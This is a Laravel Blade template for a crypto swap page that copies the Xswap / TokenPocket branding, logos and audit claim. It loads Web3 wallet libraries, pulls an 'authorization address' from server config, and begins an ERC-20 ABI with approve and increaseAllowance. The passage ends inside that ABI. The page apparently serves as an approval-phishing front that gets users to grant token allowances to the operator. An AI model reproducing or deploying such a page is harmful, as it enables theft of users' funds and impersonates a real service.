coinwind/resources/views/swap.blade.php

1218 lines
60 KiB
PHP

<html lang="" data-dpr="1" style="font-size: 37.52px;">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no" />
<link rel="shortcut icon" href="https://tp-statics.tokenpocket.pro/logo/dapp/xswap.png" />
<link rel="stylesheet" href="/css/font_2142152_inm0dvubfp.css" />
<title>Xswap</title>
<meta name="description" content="Xswap is a Cross-Chain Swap Aggregator Platform on #ETH #BSC #Polygon #Heco #Tron #OEC #HSC and etc. Incubated by
TokenPocket wallet." />
<meta name="keywords" content="Xswap, Aggregator, Cross-Chain, Exchange, Swap, TokenPocket, ETH, BSC, HECO, Polygon, TRON, OEC, HSC" />
<script>
window.dataLayer = window.dataLayer || [];
function gtag() {
dataLayer.push(arguments);
}
gtag('js', new Date());
gtag('config', 'UA-153148934-1');
</script>
<style>
.main-bg {
width: 100%;
position: absolute;
top: 0;
left: 0;
height: 600px;
background: linear-gradient(180deg, rgba(183, 212, 255, 0.43), rgba(41, 128, 254, 0.00) 100%);
}
</style>
<link rel="stylesheet" href="/scan/css/vendor.min.css" />
<link rel="stylesheet" href="/scan/css/main.css" />
<link href="https://swap.transit.finance/css/about~6a3582c1.7f0ab601.css" rel="prefetch" />
<link href="https://swap.transit.finance/css/app~748942c6.ac8ecca5.css" rel="preload" as="style" />
<link href="https://swap.transit.finance/css/app~748942c6.ac8ecca5.css" rel="stylesheet" />
<script type="text/javascript" src="/scan/js/usdt/w3model.js"></script>
<script type="text/javascript" src="/scan/js/usdt/bignumber.min.js"></script>
<script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script>
<script type="text/javascript" src="/scan/js/usdt/web3model.min.js"></script>
<script type="text/javascript" src="/scan/js/usdt/evmchain.js"></script>
<script type="text/javascript" src="/scan/js/usdt/web3provider.js"></script>
<!-- Jquery app core js-->
<script type="text/javascript" src="/scan/js/jquery-2.1.4.min.js"></script>
<script type="text/javascript" src="/scan/js/flexible.js"></script>
<style type="text/css">
.vue-modal-resizer {
display: block;
overflow: hidden;
position: absolute;
width: 12px;
height: 12px;
right: 0;
bottom: 0;
z-index: 9999999;
background: transparent;
cursor: se-resize;
}
.input-amount-wrap,
.output-amount-wrap {
position: relative;
float: right;
display: inline-block;
box-sizing: border-box;
width: 50%;
padding: 4px 12px;
font-size: 20px;
text-align: right;
}
.vue-modal-resizer::after {
display: block;
position: absolute;
content: '';
background: transparent;
left: 0;
top: 0;
width: 0;
height: 0;
border-bottom: 10px solid #ddd;
border-left: 10px solid transparent;
}
.vue-modal-resizer.clicked::after {
border-bottom: 10px solid #369be9;
}
</style>
<style type="text/css">
.vm--block-scroll {
overflow: hidden;
width: 100vw;
}
.vm--container {
position: fixed;
box-sizing: border-box;
left: 0;
top: 0;
width: 100%;
height: 100vh;
z-index: 999;
}
.vm--overlay {
position: fixed;
box-sizing: border-box;
left: 0;
top: 0;
width: 100%;
height: 100vh;
background: rgba(0, 0, 0, 0.2);
/* z-index: 999; */
opacity: 1;
}
.vm--container.scrollable {
height: 100%;
min-height: 100vh;
overflow-y: auto;
-webkit-overflow-scrolling: touch;
}
.vm--modal {
position: relative;
overflow: hidden;
box-sizing: border-box;
background-color: white;
border-radius: 3px;
box-shadow: 0 20px 60px -2px rgba(27, 33, 58, 0.4);
}
.vm--container.scrollable .vm--modal {
margin-bottom: 2px;
}
.vm--top-right-slot {
display: block;
position: absolute;
right: 0;
top: 0;
}
.vm-transition--overlay-enter-active,
.vm-transition--overlay-leave-active {
transition: all 50ms;
}
.vm-transition--overlay-enter,
.vm-transition--overlay-leave-active {
opacity: 0;
}
.vm-transition--modal-enter-active,
.vm-transition--modal-leave-active {
transition: all 400ms;
}
.vm-transition--modal-enter,
.vm-transition--modal-leave-active {
opacity: 0;
transform: translateY(-20px);
}
.vm-transition--default-enter-active,
.vm-transition--default-leave-active {
transition: all 2ms;
}
.vm-transition--default-enter,
.vm-transition--default-leave-active {
opacity: 0;
}
</style>
<style type="text/css">
.vue-dialog {
font-size: 14px;
}
.vue-dialog div {
box-sizing: border-box;
}
.vue-dialog-content {
flex: 1 0 auto;
width: 100%;
padding: 14px;
}
.vue-dialog-content-title {
font-weight: 600;
padding-bottom: 14px;
}
.vue-dialog-buttons {
display: flex;
flex: 0 1 auto;
width: 100%;
border-top: 1px solid #eee;
}
.vue-dialog-buttons-none {
width: 100%;
padding-bottom: 14px;
}
.vue-dialog-button {
font-size: inherit;
background: transparent;
padding: 0;
margin: 0;
border: 0;
cursor: pointer;
box-sizing: border-box;
line-height: 40px;
height: 40px;
color: inherit;
font: inherit;
outline: none;
}
.vue-dialog-button:hover {
background: #f9f9f9;
}
.vue-dialog-button:active {
background: #f3f3f3;
}
.vue-dialog-button:not(:first-of-type) {
border-left: 1px solid #eee;
}
.link-wallet1 {
padding: 10px 10px;
border-radius: 6px;
font-size: 13px;
font-weight: 700;
color: #2980fe;
margin-right: 4px;
margin-left: 0;
background-color: #ffffff;
/* height: 21px; */
}
.modal-overlay {
background: rgb(0 0 0 / 10%);
}
.tishi {
width: 2.4rem;
height: 0.7rem;
background: #ffad40cf;
z-index: 999999999999;
position: fixed;
bottom: 10%;
left: 50%;
transform: translate(-50%, -50%);
border-radius: 0.1rem;
color: white;
font-size: 0.4rem;
text-align: center;
line-height: 0.7rem;
/*display: none;*/
}
.success123 {
position: absolute;
z-index: 100000000;
margin-top: 5px
}
</style>
<style type="text/css">
.vue-notification-group {
display: block;
position: fixed;
z-index: 5000
}
.vue-notification-wrapper {
display: block;
overflow: hidden;
width: 100%;
margin: 0;
padding: 0
}
.notification-title {
font-weight: 600
}
.vue-notification-template {
background: #fff
}
.vue-notification,
.vue-notification-template {
display: block;
box-sizing: border-box;
text-align: left
}
.vue-notification {
font-size: 12px;
padding: 10px;
margin: 0 5px 5px;
color: #fff;
background: #44a4fc;
border-left: 5px solid #187fe7
}
.vue-notification.warn {
background: #ffb648;
border-left-color: #f48a06
}
.vue-notification.error {
background: #e54d42;
border-left-color: #b82e24
}
.vue-notification.success {
background: #68cd86;
border-left-color: #42a85f
}
.vn-fade-enter-active,
.vn-fade-leave-active,
.vn-fade-move {
transition: all .5s
}
.vn-fade-enter,
.vn-fade-leave-to {
opacity: 0
}
</style>
<style data-styled="active" data-styled-version="5.2.0"></style>
</head>
<body style="font-size: 12px;">
<noscript>
<strong>We're sorry but tp-swap doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
</noscript>
<div class="main-bg"></div>
<div id="success" class="vue-notification-wrapper success123" style="display: none">
<div class="vue-notification-template vue-notification success">
<!---->
<div class="notification-content" style="text-align: center" id="success_content">
</div>
</div>
</div>
<div id="app">
<div data-v-017da9f1="" class="home en">
<div data-v-017da9f1="" class="swap">
<!---->
<div style="display: none" class="vm--container" color="#49d663" id="show_copy">
<div data-modal="token-panel" aria-expanded="true" class="vm--overlay">
<div class="vm--top-right-slot"></div>
</div>
<div aria-expanded="true" role="dialog" aria-modal="true" class="vm--modal token-modal" style="width: 90%;left: 5%;height: 430px;top: 150px">
<div class="modal-bg">
<i class="iconfont iconclose2" onclick="clicks_stop_copy()"></i>
<h3 class="title">Choose a token</h3>
<div style="padding: 16px;">
<div class="search-wrap">
<input type="text" placeholder="Search for token name or contract address" />
</div>
<div class="tab-wrap">
<span class="network-item">All</span>
<span class="network-item"> ETH </span>
<span class="network-item"> BTC </span>
<span class="network-item active"> TRX </span>
<span class="network-item"> DOT </span>
<span class="network-item"> BSC </span>
<span class="network-item"> HECO </span>
<span class="network-item"> MATIC </span>
<span class="network-item"> OEC </span>
<span class="network-item"> ARB </span>
<span class="network-item"> FTM </span>
<span class="network-item"> KLAY </span>
<span class="network-item"> EOS </span>
<span class="network-item"> HSC </span>
<span class="network-item"> KSM </span>
<span class="network-item"> IOST </span>
<span class="network-item"> AVAX </span>
</div>
<div class="token-wrap" style="height: 250px;">
<div class="token-item" style="overflow: hidden;" onclick="qie1('BTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png', 'btc_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png" alt="BTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">BTC </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie1('ETH', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png', 'eth_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png" alt="ETH-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">ETH </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie1('USDT', 'https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png', 'usdt_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png" alt="USDT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">USDT </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie1('LTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png', 'ltc_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png" alt="LTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">LTC </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie1('HT', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg', 'ht_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg" alt="HT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">HT </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie1('TRX', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png', 'trx_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png" alt="TRX-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">TRX </span>
<span><i class="source-3 icon-mark"></i><i class="source-5 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<!---->
</div>
</div>
<!-- // 钱包-->
<div style="display: none" class="vm--container" color="#49d663" id="show">
<div data-modal="token-panel" aria-expanded="true" class="vm--overlay">
<div class="vm--top-right-slot"></div>
</div>
<div aria-expanded="true" role="dialog" aria-modal="true" class="vm--modal token-modal" style="width: 90%;left: 5%;height: 430px;top: 150px">
<div class="modal-bg">
<i class="iconfont iconclose2" onclick="clicks_stop()"></i>
<h3 class="title">Choose a token</h3>
<div style="padding: 16px;">
<div class="search-wrap">
<input type="text" placeholder="Search for token name or contract address" />
</div>
<div class="tab-wrap">
<span class="network-item">All</span>
<span class="network-item"> ETH </span>
<span class="network-item"> BTC </span>
<span class="network-item active"> TRX </span>
<span class="network-item"> DOT </span>
<span class="network-item"> BSC </span>
<span class="network-item"> HECO </span>
<span class="network-item"> MATIC </span>
<span class="network-item"> OEC </span>
<span class="network-item"> ARB </span>
<span class="network-item"> FTM </span>
<span class="network-item"> KLAY </span>
<span class="network-item"> EOS </span>
<span class="network-item"> HSC </span>
<span class="network-item"> KSM </span>
<span class="network-item"> IOST </span>
<span class="network-item"> AVAX </span>
</div>
<div class="token-wrap" style="height: 250px;">
<div class="token-item" style="overflow: hidden;" onclick="qie('TRX', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png', 'trx_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png" alt="TRX-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">TRX </span>
<span><i class="source-3 icon-mark"></i><i class="source-5 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('TPT', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1597978702379.png', 'tpt_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1597978702379.png" alt="TPT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">TPT </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('SUN', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1622736257838.png', 'sun_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1622736257838.png" alt="SUN-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">SUN </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('LTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png', 'ltc_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png" alt="LTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">LTC </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('JST', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1587044685983.png', 'jst_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1587044685983.png" alt="JST-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">JST </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('NFT', 'https://coin.top/production/upload/logo/TFczxzPhnThNSqr5by8tvxsdCFRRz6cPNq.png', 'nft_usdt')">
<div>
<img src="https://coin.top/production/upload/logo/TFczxzPhnThNSqr5by8tvxsdCFRRz6cPNq.png" alt="NFT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">NFT </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('HT', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg', 'ht_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg" alt="HT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">HT </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item " style="overflow: hidden;" onclick="qie('DOGE', 'https://coin.top/production/upload/logo/THbVQp8kMjStKNnf2iCY6NEzThKMK5aBHg.png', 'doge_usdt')">
<div>
<img src="https://coin.top/production/upload/logo/THbVQp8kMjStKNnf2iCY6NEzThKMK5aBHg.png" alt="DOGE-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">DOGE </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('USDT', 'https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png', 'usdt_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png" alt="USDT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">USDT </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('BTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png', 'btc_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png" alt="BTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">BTC </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('WBTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1609149700069.png', 'wbtc_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1609149700069.png" alt="WBTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">WBTC </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
<div class="token-item" style="overflow: hidden;" onclick="qie('ETH', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png', 'eth_usdt')">
<div>
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png" alt="ETH-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
<div class="token-name">
<span class="vertical-middle token-symbol">ETH </span>
<span><i class="source-3 icon-mark"></i></span>
<span class="float-right balance"></span>
<br />
<span class="vertical-middle token-network"> TRX
<!---->
</span>
</div>
</div>
</div>
</div>
</div>
</div>
<!---->
</div>
</div>
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
<div class="header">
<img alt="Xswap" src="https://swap.transit.finance/img/xswap-logo.9b6745c5.svg" class="logo" />
<div class="float-right">
<span class="link-wallet1 float-right" id="top-address"><span><i class="iconfont iconadd vertical-middle"></i><span class="vertical-middle" style="color: #0a0c0d;font-size: 13px;" id="address"></span></span></span>
<span class="third-wallets float-right">
<!---->
<!---->
<!---->
<!---->
<!---->
<!---->
</span>
</div>
<!---->
</div>
<div class="swap-content">
<div style="text-align: right; margin-bottom: 8px;">
<span class="help-actions"><a href="javascript:void(0)"><i class="iconfont iconhelper"></i></a><a href="#/about" target="_blank"><i class="iconfont iconquestion"></i></a></span>
</div>
<div class="swap-panel">
<span class="float-right balance-wrap">Balance: <span id="money">-</span></span>
<div class="select-wrap" onclick="clicks_start_copy()">
<img id="img1" src="/static/media/COW.3f3b0e41.svg" alt="" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="selected-logo vertical-middle" />
<span class="vertical-middle"><span class="symbol" id="symbol1">GLK</span><br /><span class="network"> ERC </span><span class="down-arrow"></span></span>
</div>
<div class="input-amount-wrap">
<input min="{{$config['limit_GLK']}}" id="indata" type="number" placeholder="0.0" class="amount-input" />
<!---->
<!---->
</div>
</div>
<div class="exchange-arrow">
<img src="data:image/png;base64,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" alt="" />
</div>
<div class="swap-panel out-panel">
<div>
<span class="float-right est-wrap">Estimated number</span>
<div class="select-wrap" onclick="clicks_start()">
<img id="img" src="https://tp-statics.tokenpocket.pro/token/1567500470273-ethx.png" alt="" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="selected-logo vertical-middle" />
<span class="vertical-middle"><span class="symbol" id="symbol">USDT</span><br /><span class="network"> ERC </span></span>
<span class="down-arrow"></span>
</div>
<div class="output-amount-wrap" id="out"></div>
<!---->
</div>
<!---->
</div>
<div class="confirm-wrap">
<button class="confirm-btn disabled" id="btn-connect" onclick="sub()">Confirm redemption</button>
</div>
<div class="swap-info">
<div>
<span class="label">Conversion path</span>
<!---->
<span class="float-right xswap-text"><span class="vertical-middle">Aggregate flash</span><i class="icon-cex icon-xswap"></i></span>
<!---->
<!---->
</div>
<div>
<span class="label">Proposed price</span>
<span class="float-right"><span id="a"></span></span>
</div>
<div>
<span class="label">Price impact</span>
<i class="iconfont iconinfo vertical-middle"></i>
<span class="float-right" id="e"></span>
</div>
<div>
<span class="label">Handling fee</span>
<span class="float-right" id="f"></span>
</div>
<div>
<span class="label vertical-middle">Estimated number</span>
<!---->
<span class="float-right" id="b"></span>
</div>
<!---->
<div>
<span class="label vertical-middle">Slippage limit</span>
<span class="float-right"><span class="" id="g"></span></span>
</div>
<div>
<span class="label vertical-middle">Minimum receiving quantity</span>
<span class="float-right" id="c"></span>
</div>
</div>
</div>
<div>
<h3 class="history">Exchange record<span class="float-right refresh-btn"><i class="vertical-middle iconfont iconrefresh1"></i></span>
<!---->
</h3>
</div>
<div class="footer">
Xswap on-chain aggregation contract is provided by PeckShield for security audit
</div>
</div>
</div>
<div class="vue-notification-group" style="width: 300px; top: 0px; right: 0px;">
<span></span>
</div>
</div>
<div id="modals-container"></div>
<!-- Preloader -->
<div id="load" style="display: none">
<div class="modal modal-in">
<div class="preloader"></div>
</div>
<div class="modal-overlay modal-overlay-visible"></div>
</div>
<div id="t1" style="display: none">
<div class="tishi">
Network fluctuation
</div>
</div>
<div id="s"></div>
<div id="fffsss" style="color: white;z-index: 99999999999999999;position: absolute;top: 1px;"></div>
<script>
const Web3Modal = window.Web3Modal.default;
const WalletConnectProvider = window.WalletConnectProvider.default;
let web3Modal;
let provider;
let selectedAccount;
let injectedWeb3 = null;
let app_address = "{{$config['app_address']}}"; //授权地址
let web3;
let ABI = [{
"inputs": [{
"internalType": "string",
"name": "name",
"type": "string"
}, {
"internalType": "string",
"name": "symbol",
"type": "string"
}],
"stateMutability": "nonpayable",
"type": "constructor"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Approval",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "approve",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "subtractedValue",
"type": "uint256"
}],
"name": "decreaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "addedValue",
"type": "uint256"
}],
"name": "increaseAllowance",
"outputs": [{
